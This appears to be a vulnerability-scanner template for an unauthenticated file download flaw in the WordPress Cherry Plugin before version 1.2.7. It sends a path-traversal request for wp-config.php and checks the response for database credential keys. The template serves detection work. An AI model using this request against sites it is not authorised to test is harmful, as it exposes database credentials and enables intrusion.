id: cherry-lfi

info:
  name: Cherry Plugin < 1.2.7 - Unauthenticated Arbitrary File Upload and Download
  author: dhiyaneshDK
  severity: high
  description: The cherry plugin WordPress plugin was affected by an unauthenticated file upload and download vulnerability, allowing attackers to upload and download arbitrary files. This could result in attacker uploading backdoor shell scripts or downloading the wp-config.php file.
  reference:
    - https://wpscan.com/vulnerability/90034817-dee7-40c9-80a2-1f1cd1d033ee
    - https://support.alertlogic.com/hc/en-us/articles/115003048083-06-19-17-WordPress-CMS-Cherry-Plugin-Arbitrary-File-Upload-RCE
  tags: wordpress,wp-plugin,lfi,wp

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200